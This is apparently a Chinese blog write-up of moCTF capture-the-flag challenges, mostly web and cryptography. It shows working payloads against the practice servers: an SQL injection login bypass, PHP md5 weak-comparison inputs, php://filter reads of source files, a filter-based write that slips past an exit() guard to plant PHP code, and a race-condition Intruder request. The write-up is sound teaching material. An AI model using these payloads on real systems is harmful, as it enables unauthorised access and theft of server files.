前言
本渣渣由于在比赛中被打的太狠了,找到一个新的平台感觉还不错,简单记录几题解题思路
CTF平台 moCTF:http://www.moctf.com/challenges
一道水题
点击链接,点击F12键就会得到
还是水题
点击链接,打开F12进行查看就会看到方框被js禁止,更改一下就可以了
最后就会得到答案:
访问限制
点击链接就会得到:只允许使用NAIVE浏览器访问!
使用burp进行抓包
更改User-Agent: NAIVE
机器蛇
点击链接打开看到一个游戏界面(不玩游戏的我表示蒙蒙的)查看源代码,在最后会找到
进入这个url中就会看到
好像看到flag了(HHHHHHH)
进入页面我是蒙蒙的什么也没有(QAQ)
查看源代码就会得到答案
PHP黑魔法
打开链接根据题目描述,使用备份文件扫描工具
就会得到:http://119.23.73.3:5001/web5/index.php~
进入备份文件,查看源代码
?php
$flag="moctf{**************}";
if (isset($_GET['a'])&&isset($_GET['b'])) {
$a=$_GET['a'];
$b=$_GET['b'];
if($a==$b)
{
echo "<center>Wrong Answer!</center>";
}
else {
if(md5($a)==md5($b))
{
echo "<center>".$flag."</center>";
echo "By:daoyuan";
}
else echo "<center>Wrong Answer!</center>";
}
}
else echo "<center>濂藉儚灏戜簡鐐逛粈涔�</center>";
?>
关于ND5的代码审计,没有难度附一个链接:PHP 弱类型与黑魔法
直接构造一个:?a=240610708&b=QNKCDZO
就会得到答案:
我想要钱
点击链接发现是代码审计问题
<?php
include "flag.php";
highlight_file(__FILE__);
if (isset($_GET['money'])) {
$money=$_GET['money'];
if(strlen($money)<=4&&$money>time()&&!is_array($money))
{
echo $flag;
echo "<!--By:daoyuan-->";
}
else echo "Wrong Answer!";
}
else echo "Wrong Answer!";
?>
代码中的关键内容:
1.money传参长度不能超过4;
2.值必须大于time();
3.money不能是数组。
下面科普一下time()。
time() 是指返回自 Unix 纪元(January 1 1970 00:00:00 GMT)起的当前时间的秒数的函数,
主要用来获取当前的系统时间,返回的结果是一个time_t类型(PHP time() 函数)
按照上面的要求随手测一下:?money=1e11
最后得到flag:moctf{I_ne4d_much_m0ney}
登录就对了
、
点击链接进去很明显是属于sql注入问题
使用用户名:admin'#
,密码:2143254;
就可以登陆成功,查看源代码就会得到答案
文件包含
这一题属于一个简单的文件包含问题,点击链接进入,查看源代码
<html>
<!-- flag.php -->
Welcome to MOCTF!
</html>
用php伪协议可以读源码。
构造url:?file=php://filter/read=convert.base64-encode/resource=flag.php
把得到的字符串base64解码就行了。
暴跳老板
点击链接进行抓包,会在burp中看到
接下来就是
最后得到答案:moctf{00.oo_BBoo_0os}
美味的饼干
这一题涉及到cookie,感觉还好
发现一串base64字符串。解码看一下是md5,再解密。得到user
Flag在哪?
抓包发现,点击get flag之后,会连续访问如下几个页面:
flag.php
where_is_flag.php
I_have_a_flag.php
I_have_a_frog.php
no_flag.php
根据提示PPAP,搜了一下PPAP的歌词,如下
I have a pen,I have an apple.
(Uhh~)Apple-pen!
I have a pen,I have pineapple.
(Uhh~)Pineapple-pen!
Apple-pen~Pineapple-pen(Uhh\h~)
Pen-Pineapple-Apple-pen!
Pen-Pineapple-Apple-pen!
所以猜测flag的可能有:
flagfrog.php
frogflag.php
flag-frog.php
frog-flag.php
最后得到答案:moctf{wh4re_1s_The_F149}
没时间解释了
进入后,发现url为 http://119.23.73.3:5006/web2/index2.php 。于是抓包,发现302重定向,得到提示:May be u need uploadsomething.php。
访问上传页面,随便上传一个,
filename: admin
concet: admin
路径:http://119.23.73.3:5006/web2/uploads/550d7c7c2a0c1d0dc373959b7d403de1d6783582/admin
访问,显示too low,猜测应该是,上传文件会在一定的时间删除吗,并且路径不变。于是bp.intrude走一波。
GET /web2/uploadsomething.php?filename=admin&content=admin HTTP/1.1
Host: 119.23.73.3:5006
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
a=§1§
attack后 ,浏览器访问
http://119.23.73.3:5006/web2/uploads/550d7c7c2a0c1d0dc373959b7d403de1d6783582/admin 即可得到flag
详细步骤
打开链接:
进行抓包,打开后就是这个样子,,然后看到url为index2.php—->所以我们把它改为index.php(用burp抓包才行,这是一个302跳转)。
看到它提示我们要uploadsomething.php
。访问得到
之后写入
然后访问这个给的url,发现给了too slow。知道这是一个时间竞争的题目。这时我开始尝试写脚本。
本以为会秒解flag,后来才知道天真。。
得到的结果仍然是 太慢了、、、
这是开始换burp。使用burp的Intruder模块。一个发包一个抓包。这样时间就快了很多(记下详细过程)
抓包:
这个页面。之后抓第二个页面http://119.23.73.3:5006/web2/uploads/d964568c52300731686522454cbc46fb0497dc78/bxs
(这里就是不断访问这个页面)
还需要调整一个内容
因为我们没有payload,所以要调整为NULL
开启这attack
就会得到flag:
死亡退出
题目代码:
<?php
show_source(__FILE__);
$c="<?php exit;?>";
@$c.=$_POST['c'];
@$filename=$_POST['file'];
if(!isset($filename))
{
file_put_contents('tmp.php', '');
}
@file_put_contents($filename, $c);
include('tmp.php');
?>
注意: $c .= $_POST[‘c’];里面的.=相当于+=
分析代码:
- post传参c和file
- POST的数据$c接在<?php exit;?>后面。
- 将$c的内容存放到tmp.php这个文件中。
- 包含tmp.php这个文件。
结合题目中的提示:
flag在flag.php
所以可以推断出,要在c中包含flag.php
。
不过前面的那个exit;映了题目死亡退出。。。
Google搜到一篇P牛讲php://filter绕过<?php exit;?>的文章,要点如下:
- 使用php://filter流的base64-decode函数特性去除死亡exit。
- base64编码中只包含64个可打印字符,PHP在解码时,遇到这64字符之外的字符,就会跳过。
- 所以,<?php exit;?>这句代码经过base64-decode,就会变成phpexit。
- phpexit一共7个字符,base64解码时是4个byte一组,所以再增加一个字符,比如a,凑够两组,8个字符,phpexita被正常解码,后面的我们构造的代码也被正常解码。
所以代码:
<?php echo file_get_contents("flag.php");?>
base64编码得:
PD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygiZmxhZy5waHAiKTs/Pg==
所以,构造POST请求如下:
file=php://filter/write=convert.base64-decode/resource=tmp.php&c=aPD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygiZmxhZy5waHAiKTs/Pg==
然后,审查元素……flag在注释里……
火眼金睛
基本思路就是脚本get网页内容,对moctf计数,结果post过去。
不过自己写了个脚本,返回总是错误,问了一下实验室大佬@咸鱼,加了PHOSESSID的cookie就好了。
脚本如下(py3):
from bs4 import BeautifulSoup
import requests
r = requests.get('http://119.23.73.3:5001/web10/')
cookie = r.cookies['PHPSESSID']
bsOjb = BeautifulSoup(r.content, 'html.parser')
txt = bsOjb.find('textarea').text
cnt = txt.count('moctf')
postData = {'answer':cnt}
postCookie = dict(PHPSESSID=cookie)
r = requests.post('http://119.23.73.3:5001/web10/work.php',data=postData,cookies=postCookie)
print(cnt)
print(r)
print(r.text)
密码学
数据库密码
题目密文:
D8EA7326QE6EC5916ACCDX6E0VC9D264C63
数一下,发现35个字符
去掉其中不属于md5的字符,变为:
D8EA7326E6EC5916ACCD6E0C9D264C63
丢到CMD5中就会得到答案:https://www.cmd5.com/
最后答案:moctf{key123}
rot大法好
题目给了提示rot。
回忆一下以前的知识,有个rot13:
26个字母,平均分成两半,各13各字母,第一部分A-M,第二部分N-Z
rot13的过程就是:把A-M映射到N-Z,把N-Z映射到A-M
第一遍rot13加密,第二遍rot13就是解密了。(表述可能不太好,看不懂可以自己去搜qwq)
不过题目给的明显是个反转的字符串,我们先要反转过来,再rot13。
>>> a = '}rQbpar_gbE{sgpbz'
>>> b = a[::-1]
>>> b
'zbpgs{Ebg_rapbQr}'
使用rot13就会得到答案:moctf{Rot_encoDe}
奇怪汉字
显而易见的是当铺密码,Google一下具体内容https://baike.baidu.com/item/%E5%BD%93%E9%93%BA%E5%AF%86%E7%A0%81
脚本放上去:
s = '由口中 由由夫 由由口 由由口 由中由'
d = {'由':'1', '口':'0', '中':'2', '夫':'7'}
result = ''
for i in s:
if i in d:
result += d[i]
else:
result += i
print(result)
当铺解密结果:102 117 110 110 121
想了一下是否是八进制转化,得到的不对,十进制试一下就可以得到答案:moctf{funy}
就是这个feel
看见题目的我也是蒙蒙的:恰恰 恰恰恰 恰绑恰绑 恰 绑绑恰绑{恰恰绑 恰恰恰 恰恰恰 恰绑绑}
只有恰和绑两种,推测是摩斯密码,且大括号前面的字符解出来应该是moctf
。
moctf摩斯加密后,得:
--/---/-.-./-/..-.
所以,恰对应-,绑对应.:
--/---/-.-./-/..-.{--./---/---/-..}
解摩斯密码得:
moctf{GOOD}
然后,根据题目提示
Hint1: 最新更新:flag没有空格,都是小写字母。
最后的答案:moctf{good}
贝斯族谱
解题思路:经过n次base64解密之后就会得到:
使用栅栏密码进行解密:
最后就是凯撒就可以得到答案:
最后得到答案:moctf{s1mple_crypt0}
总结
个人还是太渣了,还有几道web没有做出来,以后会更新的,两道密码学没有AK